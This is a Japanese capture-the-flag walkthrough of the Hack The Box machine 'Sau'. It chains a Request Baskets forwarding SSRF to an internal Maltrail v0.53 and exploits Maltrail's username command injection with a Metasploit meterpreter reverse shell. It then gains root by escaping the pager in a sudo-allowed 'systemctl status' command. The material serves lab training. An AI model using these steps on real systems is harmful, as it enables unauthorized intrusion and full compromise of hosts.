HTB Sau

HTBEasy3.X

Hack The BoxのSAUのWriteup記事となります。
難易度3.0のLinuxマシンを攻略する過程を読んでみてください。

前回の攻略

今回のマシン情報

OS Linux

難易度 Easy 3.0

リリース日 2023/7/8

ポート探索

Nmap ⇒ 22/55555

80と8338ポートがfilteredというステータスになっています。
どちらのポートもWebブラウザでアクセスできませんでした。
55555ではシェル取得はできず、55555を踏み台に80や8338へいく感じも考えられます。

$ nmap -sCV -A -v -p- --min-rate 5000 10.10.11.224  -oN nmap_result.txt -Pn

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|   256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp    filtered http
8338/tcp  filtered unknown
55555/tcp open     unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Mon, 17 Feb 2025 04:04:21 GMT
|     Content-Length: 75
|     invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
|   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Type: text/html; charset=utf-8
|     Location: /web
|     Date: Mon, 17 Feb 2025 04:03:40 GMT
|     Content-Length: 27
|     href="/web">Found</a>.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS
|     Date: Mon, 17 Feb 2025 04:03:43 GMT
|_    Content-Length: 0

試しにNmapでSYNスキャンをしてみましたが、応答なしでした。

$ sudo nmap -sS -p 80,8338 --reason 10.10.11.224

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-17 13:15 JST
Nmap scan report for 10.10.11.224
Host is up, received echo-reply ttl 63 (0.23s latency).

PORT     STATE    SERVICE REASON
80/tcp   filtered http    no-response
8338/tcp filtered unknown no-response

Nmap done: 1 IP address (1 host up) scanned in 3.81 seconds

55555探索

Web画面アクセス ⇒ Request Baskets 1.2.1

ポート55555をWeb画面で開くとRequestBaskets1.2.1の画面が開きました。

【試行】Request Basketsで何ができるのか? ⇒ forwardできそう

Request Basketsでは一時的なエンドポイント(バスケット)を作成し、外部からのリクエストを受け取ることができるようです。

使い方

1.Request Basketsのサービス上で新しいバスケット(エンドポイント)を作成する。

2.そのエンドポイントURLを、Webhookや外部APIの送信先として設定する。

3.実際にリクエストを送信し、Request Baskets上で内容を確認する。

新しいバスケット(エンドポイント)を作成

表示されているエンドポイントのまま作成してみます。

作成に成功し、トークンが発行されました。

作成時のHTTPリクエストとレスポンス

POST /api/baskets/amm6qor HTTP/1.1
Host: 10.10.11.224:55555
Content-Length: 0
Authorization: null
X-Requested-With: XMLHttpRequest
Accept-Language: ja
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Origin: http://10.10.11.224:55555
Referer: http://10.10.11.224:55555/web
Accept-Encoding: gzip, deflate, br
Connection: keep-alive


--------------------------------------------------------------------------------------
HTTP/1.1 201 Created
Content-Type: application/json; charset=UTF-8
Date: Mon, 17 Feb 2025 23:56:33 GMT
Content-Length: 56

{"token":"vNf_VHutcMdwkRUIUd5-qvdSX9W0YZ3rVo0J6SZoaMuM"}
作成直後のBasketsを確認する

作成したBasketsのURLが「http://IP:55555/basket名」なのでアクセスしてみます。

GET /web/amm6qor HTTP/1.1
Host: 10.10.11.224:55555
Accept-Language: ja
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.11.224:55555/web
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

アクセスしてみると真っ白の画面が表示されました。

GET /amm6qor HTTP/1.1
Host: 10.10.11.224:55555
Accept-Language: ja
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

---------------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Tue, 18 Feb 2025 00:06:27 GMT
Content-Length: 0

/web/basketIDの方で見てみるとアクセスのログが見れます。

設定を変更してみる

画面に設定ボタンがあるので開いてみるとリクエストを転送できる設定があります。

1. Forward URL
  • ここにURLを入力すると、受信したリクエストをそのURLに転送します(リバースプロキシのような動作)。
  • 例えば、http://example.com/webhook を設定すると、Request Basketsが受け取ったリクエストはすべて http://example.com/webhook に送信されます。
2. Proxy Response (デフォルトOFF)
  • OFF(デフォルト) の場合:
    • Request Baskets はリクエストを記録しつつ、デフォルトの固定レスポンス(200 OK など)を返します。
  • ON にすると
    • 転送先(Forward URL)のレスポンスをそのままクライアントに返します。
    • 例えば、Forward URL で設定した http://example.com/webhookHTTP 201 Created を返した場合、それがそのままクライアントに伝わります。
3. Expand Forward Path (デフォルトOFF)
  • OFF(デフォルト) の場合:
    • Forward URL で設定したアドレスに対して、そのままリクエストを転送します。
    • 例えば、クライアントが /test にリクエストを送ると、Forward URLhttp://example.com/webhook を設定している場合、転送されるのは http://example.com/webhook です。
  • ON にすると
    • クライアントのリクエストパスが Forward URL に追加されます。
    • 例えば、Forward URL = http://example.com/webhook で、クライアントが /test にリクエストを送ると、実際に転送されるのは http://example.com/webhook/test になります。
chatGPT

80にforwardするように変更してみます。

80へforward

80にアクセスしてわかること
1.4つのメニューがある
2.Log In以外のメニューはgithubのmaltrailへのリンクになっている
3.Log Inはリンクが切れていて見れない
4.maltrailのVersionは0.53

Maltrailはオープンソースのネットワーク脅威検出システムです。

Maltrailの概要
  • 目的: ネットワークトラフィックを監視し、既知の悪意のあるトラフィック(マルウェア、ボットネット、C2通信など)や、異常なトラフィックを検出する。
  • 特徴:
    • 軽量・簡単に導入可能(Python製)
    • シグネチャベース & 挙動ベースの検出
    • リアルタイムWebインターフェースで可視化
    • 既存の脅威インテリジェンスフィードを活用
    • Linux環境で動作(主にPythonとPCAPベース)
動作原理
  • sensor.py がトラフィックをキャプチャし、IP/ドメインのリストと照合。
  • server.py がWeb UIを提供し、結果を可視化。
  • trails(脅威インテリジェンスリスト)が定期更新され、脅威データと照合。
用途
  • 企業ネットワークの監視
  • SOC/CSIRTでの活用
  • 個人のホームラボやCTF環境
  • ペンテストやレッドチーム活動の防御側
chatGPT
8338へforward

今度は8338ポートを見てみます。

表示されたのは80と同じ画面です。

80探索

Maltrail v0.53 の脆弱性確認 ⇒ command injection vulnerability

rapid7に記載されていた内容の日本語訳によるとusernameパラメータにOSコマンドを挿入して実行されるようです。
rapid7はこの脆弱性に対するPOCをmsfで提供しています。
msfを利用しますがソースコードが公開されているのでまずは中身を見て利用したいと思います。

Maltrail は悪意のあるトラフィック検出システムであり、悪意のあるトレイルや一般に疑わしいトレイルを含む、公開されているブラックリストを利用します。 
Maltrail バージョン 0.54 未満には、コマンド インジェクションの脆弱性があります。 「mailtrail/core/http.py」の「subprocess.check_output」関数には、「params.get("username")」パラメータにコマンド インジェクションの脆弱性が含まれています。
攻撃者は、USERNAMEパラメータに任意の OS コマンドを挿入することで、この脆弱性を悪用する可能性があります。
挿入されたコマンドは、実行中のプロセスの権限で実行されます。
この脆弱性は、認証なしでリモートから悪用される可能性があります。
Maltrail バージョン 0.52 および 0.53 に対して正常にテストされました。
https://www.rapid7.com/db/modules/exploit/unix/http/maltrail_rce/

HTTPリクエスト

metasploit-framework/blob/master//modules/exploits/unix/http/maltrail_rce.rb

url にはlogin
method はPOST
ctype は application/x-www-form-urlencoded
data は
 ・usernameを;で区切った後にOSコマンドを記載している
 ・実行したいOSコマンドはbase64にエンコードしている

execute_commandの引数にしていたcmdにはリバースシェルが設定されているようです。

Exploit

実行手順

①request basketsの設定変更
②msfを実行する

request basketsの設定変更

request basketsに作成したエンドポイントの設定で「Expand Forward Path」にチェックを入れるようにします。
この変更によりmsfから「http://10.10.11.224:55555/rvee0ju/login」のようにエンドポイントにloginをつけて実行したときに「http://127.0.0.1:80/login」へForwardしてくれるようになります。

MSFを実行 ⇒ 成功

まずは起動します。

$ msfconsole                                                                   
Metasploit tip: Use the resource command to run commands from a file
                                                  

 ______________________________________________________________________________
|                                                                              |
|                          3Kom SuperHack II Logon                             |
|______________________________________________________________________________|
|                                                                              |
|                                                                              |
|                                                                              |
|                 User Name:          [   security    ]                        |
|                                                                              |
|                 Password:           [               ]                        |
|                                                                              |
|                                                                              |
|                                                                              |
|                                   [ OK ]                                     |
|______________________________________________________________________________|
|                                                                              |
|                                                       https://metasploit.com |
|______________________________________________________________________________|


       =[ metasploit v6.4.30-dev                          ]
+ -- --=[ 2458 exploits - 1264 auxiliary - 430 post       ]
+ -- --=[ 1471 payloads - 49 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

MaltrailのPOCを探します。

msf6 > search maltrail

Matching Modules
================

   #  Name                            Disclosure Date  Rank       Check  Description
   -  ----                            ---------------  ----       -----  -----------
   0  exploit/unix/http/maltrail_rce  2023-07-31       excellent  Yes    Maltrail Unauthenticated Command Injection
   1    \_ target: Unix Command       .                .          .      .
   2    \_ target: Linux Dropper      .                .          .      .


msf6 > use 0
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp

オプションを確認します。

Module options (exploit/unix/http/maltrail_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/usi
                                         ng-metasploit/basics/using-metasploit.html
   RPORT      8338             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly genera
                                         ted)
   TARGETURI  /                yes       The URI of the Maltrail server
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be
                                        an address on the local machine or 0.0.0.0 to listen on all a
                                       ddresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

オプションを設定します。

msf6 exploit(unix/http/maltrail_rce) > set RHOSTS 10.10.11.224
RHOSTS => 10.10.11.224

msf6 exploit(unix/http/maltrail_rce) > set RPORT 55555
RPORT => 55555

msf6 exploit(unix/http/maltrail_rce) > set TARGETURI /rvee0ju
TARGETURI => /rvee0ju

msf6 exploit(unix/http/maltrail_rce) > set LHOST 10.10.16.2
LHOST => 10.10.16.2

実行します。
成功しました。

msf6 exploit(unix/http/maltrail_rce) > exploit

[*] Started reverse TCP handler on 10.10.16.2:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version Detected: 0.53
[*] Executing Unix Command...
[*] Sending stage (24772 bytes) to 10.10.11.224
[*] Meterpreter session 1 opened (10.10.16.2:4444 -> 10.10.11.224:60278) at 2025-02-20 20:24:39 +0900
meterpreter > shell
Process 1498 created.
Channel 1 created.
id
uid=1001(puma) gid=1001(puma) groups=1001(puma)

ttyを設定します。

python3 -c 'import pty; pty.spawn("/bin/bash")'

puma@sau:/opt/maltrail$ 

user.txt

puma@sau:/opt/maltrail$ cd /home
puma@sau:/home$ cd puma
puma@sau:~$ cat user.txt 

Privilege Escalation

sudo -l

systemctl statusを使うことでroot権限への昇格ができるかもしれません。

sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

脆弱性確認

systemdにCVE-2023-26604という脆弱性があることがわかりました。

(設定に前提条件あり) systemdの脆弱性(Moderate: CVE-2023-26604) - SIOS SECURITY BLOG
03/05/2023にsystemdの脆弱性(Moderate: CVE-2023-26604)が公開されまし
sudo /usr/bin/systemctl status trail.service
WARNING: terminal is not fully functional
-  (press RETURN)!/bin/bash
!//bbiinn//bbaasshh!/bin/bash                                 
root@sau:/home/puma# id                                       
id                                                            
uid=0(root) gid=0(root) groups=0(root)                        
root@sau:/home/puma#    

root.txt

root@sau:/home/puma# cat /root/root.txt 

脆弱性の詳細確認

これでマシン攻略は終わりますが、root権限を取得した状態でsauに入っているMaltrail v0.53の脆弱性について調べましたのでよろしければこちらも合わせてお読みください。

次回のマシン情報

難易度3.Xのマシン一覧はこちらにあります。

タイトルとURLをコピーしました